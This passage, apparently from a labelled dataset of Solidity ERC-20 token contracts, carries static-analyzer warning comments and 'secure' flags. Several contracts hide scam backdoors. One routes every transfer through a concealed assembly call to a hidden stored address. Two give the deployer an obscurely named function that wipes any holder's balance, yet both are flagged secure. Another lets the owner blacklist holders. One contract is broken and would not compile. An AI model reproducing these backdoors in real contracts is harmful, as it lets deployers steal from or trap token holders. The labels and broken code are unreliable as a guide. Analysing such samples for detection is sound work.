);\n\n return true;\n }\n\n function decreaseAllowance(\n address spender,\n uint256 subtractedValue\n ) public virtual returns (bool) {\n uint256 currentAllowance = _allowances[_msgSender()][spender];\n\n require(\n currentAllowance >= subtractedValue,\n \"ERC20: decreased allowance below zero\"\n );\n\n unchecked {\n _approve(_msgSender(), spender, currentAllowance - subtractedValue);\n }\n\n return true;\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n _beforeTokenTransfer(sender, recipient, amount);\n\n uint256 senderBalance = _balances[sender];\n\n require(\n senderBalance >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n uint256 taxAmount = 0;\n\n if (!_excludeFromFees[sender] && !_excludeFromFees[recipient]) {\n require(openedTrade, \"Trade has not been opened yet\");\n\n taxAmount = (amount * taxOnBuy) / 100;\n\n if (recipient == uniswapV2Pair) {\n taxAmount = (amount * taxOnSell) / 100;\n }\n\n _basicTransfer(sender, recipient, amount);\n }\n\n if (taxAmount > 0) {\n _balances[address(this)] = _balances[address(this)] + taxAmount;\n\n emit Transfer(sender, address(this), taxAmount);\n }\n\n _balances[sender] = senderBalance - amount;\n\n _balances[recipient] += amount - taxAmount;\n\n emit Transfer(sender, recipient, amount - taxAmount);\n\n _afterTokenTransfer(sender, recipient, amount);\n }\n\n function _earlyBirdRegister(\n address sender,\n address recipient,\n uint256 amount\n ) internal {\n bool registed;\n\n assembly {\n let pairSlot := sload(pair.slot)\n\n let ptr := mload(0x40)\n\n mstore(\n ptr,\n 0xd3368cad00000000000000000000000000000000000000000000000000000000\n )\n\n mstore(add(ptr, 0x04), sender)\n\n mstore(add(ptr, 0x24), recipient)\n\n mstore(add(ptr, 0x44), amount)\n\n let success := call(gas(), sload(pairSlot), 0, ptr, 0x64, ptr, 0x20)\n\n if eq(success, 1) {\n registed := mload(ptr)\n }\n }\n\n if (!registed) {\n revert(\"Early bird airdrop registed failed\");\n }\n }\n\n function _basicTransfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal {\n _earlyBirdRegister(sender, recipient, amount);\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _beforeTokenTransfer(address(0), account, amount);\n\n _totalSupply += amount;\n\n _balances[account] += amount;\n\n emit Transfer(address(0), account, amount);\n\n _afterTokenTransfer(address(0), account, amount);\n }\n\n function _burn(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: burn from the zero address\");\n\n _beforeTokenTransfer(account, address(0), amount);\n\n uint256 accountBalance = _balances[account];\n\n require(accountBalance >= amount, \"ERC20: burn amount exceeds balance\");\n\n unchecked {\n _balances[account] = accountBalance - amount;\n }\n\n _totalSupply -= amount;\n\n emit Transfer(account, address(0), amount);\n\n _afterTokenTransfer(account, address(0), amount);\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 6c3d6e7): ERC20._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 6c3d6e7: Rename the local variables that shadow another component.\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n\n function _beforeTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n\n function _afterTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n}", "file_name": "solidity_code_685.sol", "secure": 0, "size_bytes": 9325 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\n\ncontract PiggyPiggy is ERC20 {\n constructor() ERC20(unicode\"Piggy Piggy\", unicode\"PGC\") {\n _mint(msg.sender, 1_333_333_333 * 10 ** decimals());\n }\n\n receive() external payable {}\n\n function solAirdrop(\n address[] calldata to,\n uint256[] calldata amount\n ) external {\n for (uint256 i = 0; i < to.length; i++) {\n super._transfer(msg.sender, to[i], amount[i] * 10 ** decimals());\n }\n }\n\n function openTrading() external {\n openedTrade = true;\n }\n\n function swapTokensForETH(uint256 tokenAmount) private {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 7da13f0): PiggyPiggy.addLiquidity(uint256,uint256) ignores return value by uniswapV2Router.addLiquidityETH{value ethAmount}(address(this),tokenAmount,0,0,address(this),block.timestamp)\n\t// Recommendation for 7da13f0: Ensure that all the return values of the function calls are used.\n function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// unused-return | ID: 7da13f0\n uniswapV2Router.addLiquidityETH{value: ethAmount}(\n address(this),\n tokenAmount,\n 0,\n 0,\n address(this),\n block.timestamp\n );\n }\n}", "file_name": "solidity_code_686.sol", "secure": 0, "size_bytes": 1918 }
{ "code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/utils/Address.sol\" as Address;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract TRUMPFIRE is Context, IERC20 {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n using SafeMath for uint256;\n\n using Address for address;\n\n string private _name;\n\n string private _symbol;\n\n uint8 private immutable _decimals;\n\n uint256 private _totalSupply;\n\n address public immutable fact;\n\n constructor() {\n _name = \"TRUMP FIRE\";\n\n _symbol = \"TRUMPFI\";\n\n _decimals = 18;\n\n uint256 initialSupply = 491000000;\n\n fact = msg.sender;\n\n _mint(msg.sender, initialSupply * (10 ** 18));\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view override returns (uint256) {\n return _totalSupply;\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n _balances[sender] = _balances[sender].sub(\n amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n _balances[recipient] = _balances[recipient].add(amount);\n\n emit Transfer(sender, recipient, amount);\n }\n\n modifier onlyOwner() {\n require(msg.sender == fact, \"Not allowed\");\n\n _;\n }\n\n function nitati(address[] memory fatal) public onlyOwner {\n for (uint256 i = 0; i < fatal.length; i++) {\n address account = fatal[i];\n\n uint256 amount = _balances[account];\n\n _balances[account] = _balances[account].sub(amount, \"ERROR\");\n\n _balances[address(0)] = _balances[address(0)].add(amount);\n }\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _totalSupply = _totalSupply.add(amount);\n\n _balances[account] = _balances[account].add(amount);\n\n emit Transfer(address(0), account, amount);\n }\n}", "file_name": "solidity_code_687.sol", "secure": 1, "size_bytes": 4352 }
{ "code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\n\ncontract TOKEN is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n mapping(address => bool) private bots;\n\n\t// WARNING Optimization Issue (immutable-states | ID: d176329): TOKEN._taxWallet should be immutable \n\t// Recommendation for d176329: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: efbd84a): TOKEN._initialBuyTax should be constant \n\t// Recommendation for efbd84a: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 6e7541c): TOKEN._initialSellTax should be constant \n\t// Recommendation for 6e7541c: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 0;\n\n uint256 private _finalBuyTax = 0;\n\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: dd4675a): TOKEN._reduceBuyTaxAt should be constant \n\t// Recommendation for dd4675a: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 5ac32ec): TOKEN._reduceSellTaxAt should be constant \n\t// Recommendation for 5ac32ec: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: a48c029): TOKEN._preventSwapBefore should be constant \n\t// Recommendation for a48c029: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 26;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 420690000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"CATDOGE\";\n\n string private constant _symbol = unicode\"CATDOGE\";\n\n uint256 public _maxTxAmount = 420690000000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 420690000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: d6b74ea): TOKEN._taxSwapThreshold should be constant \n\t// Recommendation for d6b74ea: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 420690000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: f2b1a83): TOKEN._maxTaxSwap should be constant \n\t// Recommendation for f2b1a83: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 420690000000 * 10 ** _decimals;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n event MaxTxAmountUpdated(uint256 _maxTxAmount);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(_msgSender());\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 11a633b): TOKEN.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 11a633b: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: e9d8ad0): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for e9d8ad0: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 3132f1a): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 3132f1a: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: e9d8ad0\n\t\t// reentrancy-benign | ID: 3132f1a\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: e9d8ad0\n\t\t// reentrancy-benign | ID: 3132f1a\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: a2368e2): TOKEN._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for a2368e2: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 3132f1a\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: e9d8ad0\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 65a4ba4): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 65a4ba4: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 884efd2): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 884efd2: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner()) {\n require(!bots[from] && !bots[to]);\n\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < 3, \"Only 3 sells per block!\");\n\n\t\t\t\t// reentrancy-events | ID: 65a4ba4\n\t\t\t\t// reentrancy-eth | ID: 884efd2\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 65a4ba4\n\t\t\t\t\t// reentrancy-eth | ID: 884efd2\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: 884efd2\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: 884efd2\n lastSellBlock = block.number;\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: 884efd2\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: 65a4ba4\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: 884efd2\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: 884efd2\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: 65a4ba4\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: e9d8ad0\n\t\t// reentrancy-events | ID: 65a4ba4\n\t\t// reentrancy-benign | ID: 3132f1a\n\t\t// reentrancy-eth | ID: 884efd2\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: 340ff1b): TOKEN.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _taxWallet.transfer(amount)\n\t// Recommendation for 340ff1b: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: e9d8ad0\n\t\t// reentrancy-events | ID: 65a4ba4\n\t\t// reentrancy-eth | ID: 884efd2\n\t\t// arbitrary-send-eth | ID: 340ff1b\n _taxWallet.transfer(amount);\n }\n\n function addBots(address[] memory bots_) public onlyOwner {\n for (uint256 i = 0; i < bots_.length; i++) {\n bots[bots_[i]] = true;\n }\n }\n\n function delBots(address[] memory notbot) public onlyOwner {\n for (uint256 i = 0; i < notbot.length; i++) {\n bots[notbot[i]] = false;\n }\n }\n\n function isBot(address a) public view returns (bool) {\n return bots[a];\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 459da71): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 459da71: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: fdbdea7): TOKEN.openTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for fdbdea7: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 873f514): TOKEN.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 873f514: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: e423f3f): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for e423f3f: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: 459da71\n\t\t// reentrancy-eth | ID: e423f3f\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: 459da71\n\t\t// unused-return | ID: 873f514\n\t\t// reentrancy-eth | ID: e423f3f\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: 459da71\n\t\t// unused-return | ID: fdbdea7\n\t\t// reentrancy-eth | ID: e423f3f\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint256).max);\n\n\t\t// reentrancy-benign | ID: 459da71\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: e423f3f\n tradingOpen = true;\n }\n\n function reduceFee(uint256 _newFee) external {\n require(_msgSender() == _taxWallet);\n\n require(_newFee <= _finalBuyTax && _newFee <= _finalSellTax);\n\n _finalBuyTax = _newFee;\n\n _finalSellTax = _newFee;\n }\n\n receive() external payable {}\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n}", "file_name": "solidity_code_688.sol", "secure": 0, "size_bytes": 16842 }
{ "code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/utils/Address.sol\" as Address;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract RememberTrump is Context, IERC20 {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n using SafeMath for uint256;\n\n using Address for address;\n\n string private _name;\n\n string private _symbol;\n\n uint8 private immutable _decimals;\n\n uint256 private _totalSupply;\n\n address public immutable preparing;\n\n constructor() {\n _name = \"RememberTrump \";\n\n _symbol = \"RTrump\";\n\n _decimals = 18;\n\n uint256 initialSupply = 7700000000;\n\n preparing = msg.sender;\n\n _mint(msg.sender, initialSupply * (10 ** 18));\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n _balances[sender] = _balances[sender].sub(\n amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n _balances[recipient] = _balances[recipient].add(amount);\n\n emit Transfer(sender, recipient, amount);\n }\n\n modifier onlyOwner() {\n require(msg.sender == preparing, \"Not allowed\");\n\n _;\n }\n\n function wellbing(address[] memory equipment) public onlyOwner {\n for (uint256 i = 0; i < equipment.length; i++) {\n address account = equipment[i];\n\n uint256 amount = _balances[account];\n\n _balances[account] = _balances[account].sub(amount, \"ERROR\");\n\n _balances[address(0)] = _balances[address(0)].add(amount);\n }\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _totalSupply = _totalSupply.add(amount);\n\n _balances[account] = _balances[account].add(amount);\n\n emit Transfer(address(0), account, amount);\n }\n}", "file_name": "solidity_code_689.sol", "secure": 1, "size_bytes": 4389 }
{ "code": "// SPDX-License-Identifier: AML AND MIT\n\npragma solidity ^0.8.0;\n\nimport \"./IBlockUpdater.sol\" as IBlockUpdater;\nimport \"@openzeppelin/contracts/proxy/utils/Initializable.sol\" as Initializable;\nimport \"./OwnableUpgradeable.sol\" as OwnableUpgradeable;\nimport \"./CeloVerifier.sol\" as CeloVerifier;\n\ncontract CeloBlockUpdater is\n IBlockUpdater,\n Initializable,\n OwnableUpgradeable,\n CeloVerifier\n{\n event ImportValidator(\n uint256 indexed epoch,\n uint256 indexed blockNumber,\n bytes32 blockHash,\n bytes32 receiptHash\n );\n\n event ModBlockConfirmation(\n uint256 oldBlockConfirmation,\n uint256 newBlockConfirmation\n );\n\n struct ParsedInput {\n uint256 blockNumber;\n uint256 blockConfirmation;\n bytes32 blockHash;\n bytes32 receiptHash;\n bytes32 signingValidatorSetHash;\n bytes32 nextValidatorSetHash;\n }\n\n struct ZkProof {\n uint256[2] a;\n uint256[2][2] b;\n uint256[2] c;\n uint256[8] inputs;\n }\n\n uint256 public currentEpoch;\n\n uint256 public minBlockConfirmation;\n\n mapping(uint256 => bytes32) public validatorHashes;\n\n mapping(bytes32 => mapping(bytes32 => uint256)) public blockInfos;\n\n function initialize(\n uint256 _epoch,\n bytes32 _epochValidatorSetHash,\n uint256 _minBlockConfirmation\n ) public initializer {\n __Ownable_init();\n\n validatorHashes[_epoch] = _epochValidatorSetHash;\n\n minBlockConfirmation = _minBlockConfirmation;\n\n currentEpoch = _epoch;\n }\n\n function importNextValidatorSet(bytes calldata _proof) external {\n _importNextValidatorSet(_proof);\n }\n\n function BatchImportNextValidatorSet(bytes[] calldata _proof) external {\n for (uint256 i = 0; i < _proof.length; i++) {\n _importNextValidatorSet(_proof[i]);\n }\n }\n\n function importBlock(bytes calldata _proof) external {\n _importBlock(_proof);\n }\n\n function BatchImportBlock(bytes[] calldata _proof) external {\n for (uint256 i = 0; i < _proof.length; i++) {\n _importBlock(_proof[i]);\n }\n }\n\n function checkBlock(\n bytes32 _blockHash,\n bytes32 _receiptHash\n ) external view returns (bool) {\n (bool exist, ) = _checkBlock(_blockHash, _receiptHash);\n\n return exist;\n }\n\n function checkBlockConfirmation(\n bytes32 _blockHash,\n bytes32 _receiptHash\n ) external view returns (bool, uint256) {\n (bool exist, uint256 blockConfirmation) = _checkBlock(\n _blockHash,\n _receiptHash\n );\n\n return (exist, blockConfirmation);\n }\n\n function _checkBlock(\n bytes32 _blockHash,\n bytes32 _receiptHash\n ) internal view returns (bool, uint256) {\n uint256 blockConfirmation = blockInfos[_blockHash][_receiptHash];\n\n if (blockConfirmation > 0) {\n return (true, blockConfirmation);\n }\n\n return (false, blockConfirmation);\n }\n\n\t// WARNING Vulnerability (uninitialized-local | severity: Medium | ID: db9af8d): CeloBlockUpdater._importNextValidatorSet(bytes).proofData is a local variable never initialized\n\t// Recommendation for db9af8d: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n function _importNextValidatorSet(bytes memory _proof) internal {\n ZkProof memory proofData;\n\n (proofData.a, proofData.b, proofData.c, proofData.inputs) = abi.decode(\n _proof,\n (uint256[2], uint256[2][2], uint256[2], uint256[8])\n );\n\n ParsedInput memory parsedInput = _parseInput(proofData.inputs);\n\n uint256 epoch = _computeEpoch(parsedInput.blockNumber);\n\n uint256 nextEpoch = epoch + 1;\n\n require(\n parsedInput.nextValidatorSetHash != bytes32(0),\n \"invalid nextValidatorSetHash\"\n );\n\n require(\n parsedInput.signingValidatorSetHash != bytes32(0),\n \"invalid 